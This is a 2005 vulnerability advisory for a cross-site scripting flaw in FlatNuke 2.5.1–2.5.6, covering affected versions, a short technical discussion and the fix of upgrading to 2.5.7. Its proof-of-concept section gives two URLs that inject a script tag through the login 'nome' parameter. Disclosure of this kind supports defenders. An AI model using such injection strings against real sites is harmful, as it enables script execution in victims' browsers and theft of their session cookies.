FlatNuke Index.PHP Cross-Site Scripting Vulnerability

BID:15176

Info

FlatNuke Index.PHP Cross-Site Scripting Vulnerability

Bugtraq ID: 15176
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 26 2005 12:00AM
Updated: Oct 26 2005 12:00AM
Credit: [email protected] is credited with the discovery of this vulnerability.
Vulnerable: FlatNuke FlatNuke 2.5.6
FlatNuke FlatNuke 2.5.5
FlatNuke FlatNuke 2.5.4
FlatNuke FlatNuke 2.5.3
FlatNuke FlatNuke 2.5.2
FlatNuke FlatNuke 2.5.1
Not Vulnerable: FlatNuke FlatNuke 2.5.7

Discussion

FlatNuke Index.PHP Cross-Site Scripting Vulnerability

FlatNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Exploit / POC

FlatNuke Index.PHP Cross-Site Scripting Vulnerability

No exploit is required.

Examples have been provided:

http://www.example.com/?op=login&nome=<script>alert('LOL');</script>&regpass=1&reregpass=1&anag=1&email=1&homep=http%3A%2F%2F&prof=1&prov=1&ava=1&url_avatar=1&firma=1

http://www.example.com/?op=login&from=home&nome=<script>alert('LOL');</script>&logpassword=1

Solution / Fix

FlatNuke Index.PHP Cross-Site Scripting Vulnerability

Solution:
FlatNuke 2.5.7 is not affected by this issue.


FlatNuke FlatNuke 2.5.1

FlatNuke FlatNuke 2.5.2

FlatNuke FlatNuke 2.5.3

FlatNuke FlatNuke 2.5.4

FlatNuke FlatNuke 2.5.5

FlatNuke FlatNuke 2.5.6

References

FlatNuke Index.PHP Cross-Site Scripting Vulnerability

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